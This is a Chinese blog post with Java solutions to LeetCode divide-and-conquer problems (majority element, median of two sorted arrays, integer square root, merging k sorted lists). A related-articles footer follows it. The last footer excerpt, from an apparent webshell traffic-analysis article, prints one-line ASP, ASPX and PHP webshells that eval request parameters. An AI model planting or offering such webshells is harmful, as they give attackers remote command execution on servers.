力扣刷题篇之分治

news2024/11/26 11:47:43

系列文章目录


目录

系列文章目录

前言

一、分解问题

二、解决子问题

三、合并结果

总结


前言

刷题按照:

[力扣刷题攻略] Re:从零开始的力扣刷题生活 - 力扣(LeetCode)

参考:

「五大常用算法」一文搞懂分治算法 - 知乎 (zhihu.com)

分治算法(divide and conquer)是五大常用算法(分治算法、动态规划算法、贪心算法、回溯法、分治界限法)之一,分治,字面上的解释是“分而治之”,就是把一个复杂的问题分成两个或更多的相同或相似的子问题,再把子问题分成更小的子问题……直到最后子问题可以简单的直接求解,原问题的解即子问题的解的合并。在计算机科学中,分治法就是运用分治思想的一种很重要的算法。分治法是很多高效算法的基础,如排序算法(快速排序,归并排序),傅立叶变换(快速傅立叶变换)等等。


一、分解问题

169. 多数元素 - 力扣(LeetCode)

//方法一:排序取中值
// class Solution {
//     public int majorityElement(int[] nums) {
//         Arrays.sort(nums);
//         return nums[nums.length/2];
//     }
// }

//方法二:投票法,众数的个数大于n/2,顾投票总数大于0
// class Solution {
//     public int majorityElement(int[] nums) {
//         int count = 0;
//         Integer mode = null;

//         for(int num : nums)
//         {
//             if(count == 0)
//             {
//                 mode = num;
//             }
//             count += (num == mode) ? 1 : -1;
//         }
//         return mode;
//     }
// }

//方法三:HashMap,数组元素作为键值对的Key,出现个数作为键值对的Value,存放时出现相同的Key,将对应Value进行加1后放到
//HashMap中,遍历数据完成后返回Value值大于n/2的即可。
// class Solution {
//     public int majorityElement(int[] nums) {
//         Map<Integer, Integer> countMap = new HashMap<> ();
//         for(int num : nums)
//         {
//             if(!countMap.containsKey(num))
//             {
//                 countMap.put(num, 1);
//             }
//             else
//             {
//                 countMap.put(num, countMap.get(num) + 1);
//             }

//             if(countMap.get(num) > nums.length / 2)
//             {
//                 return num;
//             }
//         }
//         return -1;
//     }
// }

// //方法四:回调投票
class Solution {
    public int majorityElement(int[] nums) {
        return moore(0, nums, nums[0]);
    }

    public int moore(int i, int[] nums, int mode){
        int count = 0;
        for(int j = i; j < nums.length; j++){
            if(nums[j] == mode){
                count++;
            }
            else{
                count--;
            }

            if(count < 0){
                return moore(j, nums, nums[j]);
            }
        }
        return mode;
    }
}

4. 寻找两个正序数组的中位数 - 力扣(LeetCode)

class Solution {
    public double findMedianSortedArrays(int[] nums1, int[] nums2) {
        int totalLength = nums1.length + nums2.length;
        int halfLength = totalLength / 2;

        if (totalLength % 2 == 0) {
            // 如果总长度是偶数,中位数是左侧部分的最大值和右侧部分的最小值之和的一半
            double leftMedian = findKthElement(nums1, 0, nums2, 0, halfLength);
            double rightMedian = findKthElement(nums1, 0, nums2, 0, halfLength + 1);
            return (leftMedian + rightMedian) / 2.0;
        } else {
            // 如果总长度是奇数,中位数就是右侧部分的最小值
            return findKthElement(nums1, 0, nums2, 0, halfLength + 1);
        }
    }

    private double findKthElement(int[] nums1, int start1, int[] nums2, int start2, int k) {
        if (start1 == nums1.length) {
            // 如果 nums1 部分已经为空,则直接返回 nums2 部分的第 k 个元素
            return nums2[start2 + k - 1];
        }
        if (start2 == nums2.length) {
            // 如果 nums2 部分已经为空,则直接返回 nums1 部分的第 k 个元素
            return nums1[start1 + k - 1];
        }
        if (k == 1) {
            // 如果 k 等于 1,则直接返回两个数组当前部分的最小值
            return Math.min(nums1[start1], nums2[start2]);
        }

        // 在两个数组中寻找第 k/2 个元素,并更新两个数组的起始位置
        int mid1 = start1 + k / 2 - 1 < nums1.length ? nums1[start1 + k / 2 - 1] : Integer.MAX_VALUE;
        int mid2 = start2 + k / 2 - 1 < nums2.length ? nums2[start2 + k / 2 - 1] : Integer.MAX_VALUE;

        if (mid1 < mid2) {
            // 如果 nums1 的中间元素小于 nums2 的中间元素,则舍弃 nums1 的左侧部分
            return findKthElement(nums1, start1 + k / 2, nums2, start2, k - k / 2);
        } else {
            // 如果 nums1 的中间元素大于等于 nums2 的中间元素,则舍弃 nums2 的左侧部分
            return findKthElement(nums1, start1, nums2, start2 + k / 2, k - k / 2);
        }
    }
}

543. 二叉树的直径 - 力扣(LeetCode)

/**
 * Definition for a binary tree node.
 * public class TreeNode {
 *     int val;
 *     TreeNode left;
 *     TreeNode right;
 *     TreeNode() {}
 *     TreeNode(int val) { this.val = val; }
 *     TreeNode(int val, TreeNode left, TreeNode right) {
 *         this.val = val;
 *         this.left = left;
 *         this.right = right;
 *     }
 * }
 */
class Solution {
    int max = 0;
    public int diameterOfBinaryTree(TreeNode root) {
        if (root == null) {
            return 0;
        }
        dfs(root);
        return max;
    }
    
    private int dfs(TreeNode root) {
        if (root.left == null && root.right == null) {
            return 0;
        }
        int leftSize = root.left == null? 0: dfs(root.left) + 1;
        int rightSize = root.right == null? 0: dfs(root.right) + 1;
        max = Math.max(max, leftSize + rightSize);
        return Math.max(leftSize, rightSize);
    }  
}

二、解决子问题

69. x 的平方根 - 力扣(LeetCode)

牛顿迭代法:Integer square root - Wikipedia

class Solution {
    public int mySqrt(int x) {
        if (x == 0) {
            return 0;
        }

        double x0 = x; // 初始猜测值
        double x1 = 0.5 * (x0 + x / x0); // 使用牛顿迭代法更新猜测值

        // 迭代直到猜测值不再变化
        while (Math.abs(x1 - x0) >= 1) {
            x0 = x1;
            x1 = 0.5 * (x0 + x / x0);
        }

        return (int) x1; // 将最终结果转换为整数并返回
    }
}

一个特殊的方法来计算平方根,即通过取指数和对数的方式。实际上,这是一种常见的近似计算方法。它的基本思想是,计算 x 的平方根,可以转换为计算 e^(0.5 * ln(x))。在这里,Math.exp(0.5 * Math.log(x)) 计算的是 e^(0.5 * ln(x))。 

class Solution {
    public int mySqrt(int x) {
        if (x == 0) {
            return 0;
        }
        int ans = (int) Math.exp(0.5 * Math.log(x));
        return (long) (ans + 1) * (ans + 1) <= x ? ans + 1 : ans;
    }
}

 53. 最大子数组和 - 力扣(LeetCode)

class Solution {
    public int maxSubArray(int[] nums) {
        int ans = Integer.MIN_VALUE;
        int count = 0;
        for (int i=0; i<nums.length; i++) {
            count = Math.max(count + nums[i], nums[i]);
            ans = Math.max(ans, count);
        }
        return ans;
    }
}

34. 在排序数组中查找元素的第一个和最后一个位置 - 力扣(LeetCode)

class Solution {
    public int[] searchRange(int[] nums, int target) {
        int[] res = {-1, -1};

        // 寻找第一个出现的位置
        int left = 0, right = nums.length - 1;
        while (left <= right) {
            int mid = left + (right - left) / 2;
            if (nums[mid] == target) {
                res[0] = mid;
                right = mid - 1; // 继续在左半边搜索
            } else if (nums[mid] < target) {
                left = mid + 1;
            } else {
                right = mid - 1;
            }
        }

        // 如果未找到目标值,直接返回
        if (res[0] == -1) {
            return res;
        }

        // 寻找最后一个出现的位置
        left = res[0]; // 左边界从第一次找到的位置开始
        right = nums.length - 1;
        while (left <= right) {
            int mid = left + (right - left) / 2;
            if (nums[mid] == target) {
                res[1] = mid;
                left = mid + 1; // 继续在右半边搜索
            } else if (nums[mid] < target) {
                left = mid + 1;
            } else {
                right = mid - 1;
            }
        }

        return res;
    }
}

三、合并结果

23. 合并 K 个升序链表 - 力扣(LeetCode)

/**
 * Definition for singly-linked list.
 * public class ListNode {
 *     int val;
 *     ListNode next;
 *     ListNode() {}
 *     ListNode(int val) { this.val = val; }
 *     ListNode(int val, ListNode next) { this.val = val; this.next = next; }
 * }
 */
class Solution {
   // 合并两个有序链表
    public ListNode mergeKLists(ListNode[] lists) {
        if (lists.length == 0) {
            return null;
        }
        return split(lists, 0, lists.length - 1);
    }

    public ListNode split(ListNode[] lists, int i, int j) {
//        System.out.println(i + " " + j);
        if (j == i) {
            return lists[i];
        }
        int m = (i + j) >>> 1;
        return mergeTwoLists(
                split(lists, i, m),
                split(lists, m + 1, j)
        );
    }

    public ListNode mergeTwoLists(ListNode p1, ListNode p2) {
        if (p2 == null || p1 == null) {
            return p2 == null ? p1 : p2;
        }
        if (p1.val < p2.val) {
            p1.next = mergeTwoLists(p1.next, p2);
            return p1;
        } else {
            p2.next = mergeTwoLists(p1, p2.next);
            return p2;
        }
    }
}

1277. 统计全为 1 的正方形子矩阵 - 力扣(LeetCode)

动态规划 

    class Solution {
        public int countSquares(int[][] matrix) {
            // 动态规划, 二维数组dp[i][j]表示以i,j为右下角的最大的全1正方形的边长
            // if matrix[i][j] == '1' -> dp[i][j] = Min{dp[i - 1][j - 1], dp[i - 1][j], dp[i][j - 1]} + 1
            int m = matrix.length;
            int n = matrix[0].length;
            int[][] dp = new int[m][n];
            // 初始化边界
            int result = 0;
            for (int i = 0; i < m; i++) {
                if (matrix[i][0] == 1) {
                    dp[i][0] = 1;
                }
            }
            for (int i = 0; i < n; i++) {
                if (matrix[0][i] == 1) {
                    dp[0][i] = 1;
                }
            }
            // 自底向上
            for (int i = 1; i < m; i++) {
                for (int j = 1; j < n; j++) {
                    if (matrix[i][j] == 0) {
                        dp[i][j] = 0;
                    } else {
                        dp[i][j] = Math.min(dp[i - 1][j - 1], Math.min(dp[i - 1][j], dp[i][j - 1])) + 1;
                    }
                }
            }
            // 遍历dp
            for (int i = 0; i < m; i++) {
                for (int j = 0; j < n; j++) {
                    result += dp[i][j];
                }
            }
            return result;
        }

    }

 


总结

分治法很重要,然后我发现做题勾勾画画还挺有用的,希望多敲多做,慢慢来吧。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1267423.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

欧拉LINUX 23.09版本上安装ORACLE 19c

前面解决了在RHEL9上安装ORACLE 19C的问题后&#xff0c;发现龙蜥 LINUX23 上可以安装ORACLE19C,网上搜了一下&#xff0c;欧拉 linux 22.03 上&#xff0c;没有成功安装ORACLE 19c 的先例&#xff0c;23.09就更不用说了&#xff0c;但看到的错误&#xff0c;不外服都是缺 libp…

泛微OA对接金蝶云星空方案分享(对接场景解析)

分享金蝶云星空跟泛微OA系统集成对接的方案分享&#xff0c;主讲审批流程对接&#xff0c;表单对接的两类场景。分别是金蝶云星空发起申请和泛微发起流程审批&#xff0c;最终实现统一管理。 数据集成主要有以下好处&#xff1a; &#xff08;1&#xff09;数据一致性&#xf…

直播团队职责

一、直播策划 1.根据公司战略&#xff0c;制定直播计划和方案&#xff0c;包括直播频率、时间、主题等。 2.负责直播内容策划&#xff0c;包括商品选择、优惠策略、互动环节等。 3.分析市场竞争情况&#xff0c;调整和优化直播方案。 4.与团队协作&#xff0c;确保直播计划…

GANVAEDiffusion

数学基础 KL散度 描绘一个分布p和另一个分布q之间的偏离程度 当 p ( x ) q ( x ) p(x)q(x) p(x)q(x)时散度取得最小值 JS散度 另一种衡量两个概率分布相似性的方法 GAN 需要训练两个网络&#xff1b;损失来回波动&#xff0c;不好分辨&#xff0c;不容易收敛&#xff…

day32_Git

今日内容 零、 复习昨日 零、 复习昨日 一、引言 在单人开发过程中&#xff0c;需要进行版本管理&#xff0c;以利于开发进度的控制。 在多人开发过程中&#xff0c;不仅需要版本管理&#xff0c;还需要进行多人协同控制。 版本控制(VS) SVN GIT 二、介绍 Git是一个开源的…

WMS系统

什么是WMS系统&#xff1f; WMS&#xff08;Warehouse Management System&#xff0c;仓库管理系统&#xff09;是一种软件解决方案&#xff0c;旨在帮助用户优化仓库管理流程、管理和控制日常仓库运营。 WMS系统的主要功能有那些&#xff1f; 主要功能主要包括以下几点&…

AI伪原创软件-AI伪原创工具下载

在当今数字化时代&#xff0c;创作者们在追求独特创意的同时&#xff0c;也面临着时间和灵感的双重挑战。AI伪原创技术应运而生&#xff0c;为创作者提供了一种快捷而便利的解决方案。本文将专心分享两款备受瞩目的AI伪原创工具&#xff0c;147SEO伪原创、百度文心一言伪原创&a…

网站域名那些事儿

互联网用户对于在线数据安全的意识逐渐增强&#xff0c;因此拥有一个可靠的网络安全系统是至关重要的。而其中一个最重要的元素就是网站域名SSL证书。 SSL&#xff08;Secure Socket Layer&#xff09;是一种用于确保网站与访客之间通信安全的技术。通过使用SSL证书&#xff0c…

echarts案例网站

一、ppchart 网站&#xff1a;https://ppchart.com/#/ 二、echarts官网示例 网站&#xff1a;https://echarts.apache.org/examples/zh/index.html

[VNCTF 2023] web刷题记录

文章目录 象棋王子电子木鱼BabyGo 象棋王子 考点&#xff1a;前端js代码审计 直接查看js源码&#xff0c;搜一下alert 丢到控制台即可 电子木鱼 考点&#xff1a;整数溢出 main.rs我们分段分析 首先这段代码是一个基于Rust的web应用程序中的路由处理函数。它使用了Rust的异步…

龙迅LT8668SXC适用于TPYE-C/DP/HDMI转EDP/VBO同时环出一路HDMI/DP,支持分辨率缩放功能。

1.描述 应用功能&#xff1a;LT8668SXC适用于TYPE-C/DP1.4/HDMI2.1转EDP/VBO同时环出一路HDMI/DP应用方案 分辨率&#xff1a;高达8K30HZ&#xff0c; 工作温度范围&#xff1a;−40C to 85C 产品封装&#xff1a;QFN88 (10*10)最小包装数&#xff1a;1680pcs 2.产品应用 •视频…

BLIoTLink软网关,一键解决OT层与IT层的通信

在工业自动化领域&#xff0c;协议转换一直是一个重要的问题。不同的设备、系统往往使用不同的通信协议&#xff0c;这给数据采集、设备接入等带来很大的困扰。为了解决这个问题&#xff0c;各种协议转换软件应运而生。其中&#xff0c;BLIoTLink作为一款功能强大的嵌入式工业协…

设单链表中有仅三类字符的数据元素(大写字母、数字和其它字符),要求利用原单链表中结点空间设计出三个单链表的算法,使每个单链表只包含同类字符。

使用C语言编写的算法,将原单链表根据字符类型拆分为三个单链表。其中,大写字母链表(upperList)、数字链表(digitList)和其他字符链表(otherList)分别用于存储相应类型的字符。 `Upper Case List`存储了大写字母A、C, `Digit List`存储了数字1、2、3, `Other List`存…

ESXi vSAN 整合多主机磁盘

VSAN 与 RAID区别&#xff1a; vSAN 可以管理 ESXi 主机&#xff0c;且只能与 ESXi 主机配合使用。一个 vSAN 实例仅支持一个群集。vSAN 不需要外部网络存储来远程存储虚拟机文件&#xff0c;例如光纤通道 (FC) 或存储区域网络 (SAN) 使用传统存储&#xff0c;存储管理员可以…

大数据之HBase

HBase介绍 Apache的三篇论文&#xff0c;GFS谷歌文件系统->HDFS&#xff1b;MR -> MR ; BigTable ->HBase;HBase是hadoop数据库&#xff0c;一种分布式、可扩展的大数据NoSQL数据库之一。适合对于大量数据进行随机、实时的读写操作 HBase数据模型 Bigtable是一个稀…

2023.11.25 python常用数据集信息查看命令

2023.11.25 python常用数据集信息查看命令 在对数据集进行处理前一般需要对数据集先进行一个基本的观察&#xff0c;根据观察结果和经验确定处理方式。以kaggle员工离职数据集为例进行操作。 打印前5条数据 # 导入包 import pandas as pd# 读入数据 df pd.read_csv(HR_comm…

抖音本地生活服务商申请要多久审核通过?

近年来&#xff0c;随着互联网的普及和社交媒体的兴起&#xff0c;本地生活服务行业也迎来了巨大的发展机遇。作为最受欢迎的短视频平台之一&#xff0c;抖音也不例外。抖音本地生活服务商申请要多久审核通过&#xff1f;这是许多想要加入抖音本地服务行业的人们最关心的问题之…

Redis之秒杀系统

目录 Redis 秒杀 Mysql数据库设计 Mysql秒杀实现 MysqlRedis秒杀实现 秒杀是一种高并发场景&#xff0c;通常指的是在短时间内&#xff08;秒级别&#xff09;有大量用户同时访问某个商品或服务&#xff0c;争相抢购的情景。在这种情况下&#xff0c;系统需要处理大量并发请…

vue+jsonp编写可导出html的模版,可通过外部改json动态更新页面内容

效果 导出后文件结果如图所示&#xff0c;点击Index.html即可查看页面&#xff0c;页面所有数据由report.json控制&#xff0c;修改report.json内容即可改变index.html展示内容 具体实现 1. 编写数据存储的json文件 在index.html所在的public页面新建report.json文件&#xff…

Webshell流量分析

Webshell流量分析 常见的一句话木马: asp一句话 <%eval request("pass")%> aspx一句话 <%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%> php一句话 <?php @eval($_POST["pass&…